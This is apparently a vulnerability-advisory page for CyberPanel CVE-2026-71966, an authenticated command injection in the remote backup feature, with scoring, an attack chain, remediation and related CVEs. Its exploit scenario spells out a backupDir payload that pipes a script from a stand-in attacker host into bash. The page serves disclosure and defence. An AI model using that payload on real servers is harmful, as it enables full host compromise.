Skip to main content

CyberPanel CVE-2026-71966

| EUVDEUVD-2026-55736 HIGH
OS Command Injection (CWE-78)
2026-08-10 VulnCheck GHSA-hmw4-vv3v-9326
8.7
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to CyberPanel with low-privilege credentials
  2. Delivery
    Configure attacker-controlled server as remote backup destination
  3. Exploit
    Initiate remote backup transfer or restore operation
  4. Execution
    Attacker server returns crafted API response with shell-injected backupDir value
  5. Persist
    CyberPanel concatenates unsanitized backupDir into OS shell command
  6. Impact
    Arbitrary commands execute as CyberPanel process user on host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid CyberPanel account with sufficient role permissions to configure and use the remote backup transfer feature (CVSS PR:L). The attacker must additionally be able to control the API response of a remote backup server - achieved either by registering an attacker-owned IP or hostname as the backup destination (possible if the attacker has permission to configure destinations), or by performing a man-in-the-middle attack on the CyberPanel-to-remote-server communication. The injection is triggered specifically when CyberPanel processes the backupDir value in a remote server's API response during backup transfer or restore operations; the feature must be actively invoked. Exploitation is limited by: (1) authenticated access requirement (no unauthenticated path exists), (2) need to influence or control the remote server's API response, and (3) the vulnerable code path is only reachable when the remote backup transfer feature is in active use. Environments that do not configure any remote backup destinations are not reachable via this vector.

Impact

The CVSS 4.0 base score of 8.7 with AV:N, AC:L, and PR:L accurately characterizes this as a serious but access-gated threat: exploitation requires valid CyberPanel credentials and the ability to point the backup feature at an attacker-controlled server. No EPSS data was provided, and CISA KEV status is not confirmed, meaning widespread automated exploitation has not been observed. However, the presence of a public proof-of-concept exploit significantly narrows the window for safe remediation - any authenticated user, including reseller-tier or end-user accounts depending on CyberPanel's role configuration, could potentially exploit this. The CVSS 4.0 vector lists SC:N/SI:N/SA:N (no subsequent-system impact), which understates practical risk: OS-level command injection on a hosting control panel effectively means full host compromise, with all co-hosted customer data, credentials, and services exposed. The attack complexity is genuinely low once the attacker controls a remote endpoint - no memory corruption, timing windows, or race conditions are required.

Exploit ScenarioDerived

An attacker with a low-privilege CyberPanel account registers an attacker-controlled server as a remote backup destination, then triggers a remote backup transfer or restore operation. The attacker's server returns an API response where the backupDir field contains embedded shell metacharacters - for example, a value such as '1234; curl http://attacker.com/shell.sh | bash; #'. CyberPanel passes this value unsanitized into a shell command string, executing the injected payload as the CyberPanel process user. A public proof-of-concept confirming this attack path exists at themcsam.github.io.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 2.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 10, 2026

Command injection in CyberPanel 2.4.3's remote backup transfer feature allows authenticated low-privileged users to execute arbitrary OS commands on the host by manipulating the API response of a remote backup server they control. The vulnerability exists in backupManager.py, where the backupDir value returned by the remote server is concatenated unsanitized into shell command strings, bypassing ACLManager middleware validation entirely. A publicly available proof-of-concept exploit exists per the researcher writeup at themcsam.github.io; the vendor has released a fix in commit eca0c3c.

RemediationAI

Upgrade CyberPanel to any build that includes commit eca0c3c or later, available at https://github.com/usmannasir/cyberpanel/commit/eca0c3cbeb35af8eaae9fafb094e8ef3cd923643. A specific patched release tag has not been independently confirmed from available data - verify the installed commit hash against eca0c3c after updating. If immediate patching is not feasible, restrict access to the remote backup transfer and restore features by limiting which roles can configure remote backup destinations in CyberPanel's ACL settings; this removes the primary attack surface without disabling local backup functionality. Network-level blocking of outbound connections from the CyberPanel host to untrusted external IPs would limit the attacker's ability to register a malicious remote server, but this may also disrupt legitimate backup operations and requires careful allowlisting. Full technical details are available in the researcher's writeup at https://themcsam.github.io/posts/cyberpanel-2.4.3-vulnerabilties/ and the VulnCheck advisory.

Affected VersionsENISA

CyberPanel 0 ≤2.4.3
CyberPanel patch: eca0c3cbeb35af8eaae9fafb094e8ef3cd923643

Affected Packages

euvd cyberpanel no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

CyberPanel is a Python/Django-based web hosting control panel that manages web servers, databases, and file operations on Linux. The vulnerable code lives in backup/backupManager.py, specifically in the remoteBackupRestore and localRestoreStatus functions, which handle remote backup transfer and restore workflows. The root cause is CWE-78 (Improper Neutralization of Special Elements Used in an OS Command): the backupDir field, sourced directly from the remote backup server's API response rather than from local user input, is concatenated into a shell command string using Python string formatting without any quoting or sanitization. This means the attack surface is the remote server's response rather than the local web request alone, and the existing ACLManager.commandInjectionCheck middleware is never applied to this data path. The fix in commit eca0c3c introduces shlex.quote() for all shell-bound arguments, restricts backupDir to alphanumeric/underscore/hyphen characters via regex, adds explicit path traversal checks for '..' and '/', and adds commandInjectionCheck() validation on IP address, password, port, and username fields during destination configuration. CPE cpe:2.3:a:usmannasir:cyberpanel:*:*:*:*:*:*:*:* uses a wildcard version, indicating all releases prior to the patch commit are potentially in scope.

Know when Cyberpanel gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.9 CRITICAL

Network-exploitable by authenticated low-privilege user; OS command injection crosses into the underlying system scope (S:C), with full CIA impact on the host.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

CyberPanel 2.4.3, fixed in commit eca0c3c, contains an authenticated command injection vulnerability in the remote backup transfer feature that allows authenticated attackers to execute arbitrary OS commands by controlling a remote server's API response. Attackers can inject malicious commands through a crafted directory name in the remote server's API response, which bypasses security middleware validation and is passed unsanitized to the OS command execution function.

Executive ViewAI

Why It Matters

CyberPanel 2.4.3 contains a command injection vulnerability in its remote backup feature that enables authenticated low-privileged users to execute arbitrary operating system commands on the host. Organizations running vulnerable versions risk complete infrastructure compromise and unauthorized access to all hosted services. Publicly available proof-of-concept code creates immediate exploitation risk.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
2.1%
Top 20% exploitable
Prevalence
Medium
popular open-source web hosting control panel, moderate global footprint
Exploit
POC
Public exploit code exists
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 2.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

66
Low Medium High Critical
KEV: 0
EPSS: +2
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2024-51378 CRITICAL POC
9.8 Oct 29

getresetstatus in dns/views.py and ftp/views.py in CyberPanel (aka Cyber Panel) before 1c0c6cb allows remote attackers t

CVE-2024-51567 CRITICAL POC
9.8 Oct 29

upgrademysqlstatus in databases/views.py in CyberPanel (aka Cyber Panel) before 5b08cd6 allows remote attackers to bypas

CVE-2024-51568 CRITICAL POC
9.8 Oct 29

CyberPanel (aka Cyber Panel) before 2.3.5 allows Command Injection via completePath in the ProcessUtilities.outputExecut

CVE-2026-41473 HIGH POC
8.8 Apr 24

Unauthenticated database writes in CyberPanel versions before 2.4.4 allow remote attackers to abuse two AI Scanner worke

CVE-2024-53376 HIGH POC
8.8 Dec 16

CyberPanel before 2.3.8 allows remote authenticated users to execute arbitrary commands via shell metacharacters in the

CVE-2019-13056 HIGH POC
8.8 Jul 02

An issue was discovered in CyberPanel through 1.8.4. Rated high severity (CVSS 8.8), this vulnerability is remotely expl

CVE-2026-71965 HIGH POC
8.7 Aug 10

Authenticated remote code execution in CyberPanel 2.4.3 allows any logged-in user to escalate to persistent root-level S

CVE-2021-47949 HIGH POC
8.7 May 10

CyberPanel 2.1 contains a command execution vulnerability that allows authenticated attackers to read arbitrary files an

CVE-2026-71964 HIGH POC
7.1 Aug 10

Arbitrary file read in CyberPanel 2.4.3's file manager allows authenticated panel users to escape their home-directory s

CVE-2026-87820 MEDIUM POC
6.9 Sep 09

CyberPanel versions 2.4.3 through 2.4.5 expose unauthenticated AI Scanner callback and status-update endpoints that retu

CVE-2024-54679 MEDIUM POC
6.5 Dec 05

CyberPanel (aka Cyber Panel) before 6778ad1 does not require the FilemanagerAdmin capability for restartMySQL actions. R

CVE-2026-41472 MEDIUM POC
5.3 Apr 24

Stored cross-site scripting in CyberPanel's AI Scanner dashboard chains to unauthenticated remote code execution on vers

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy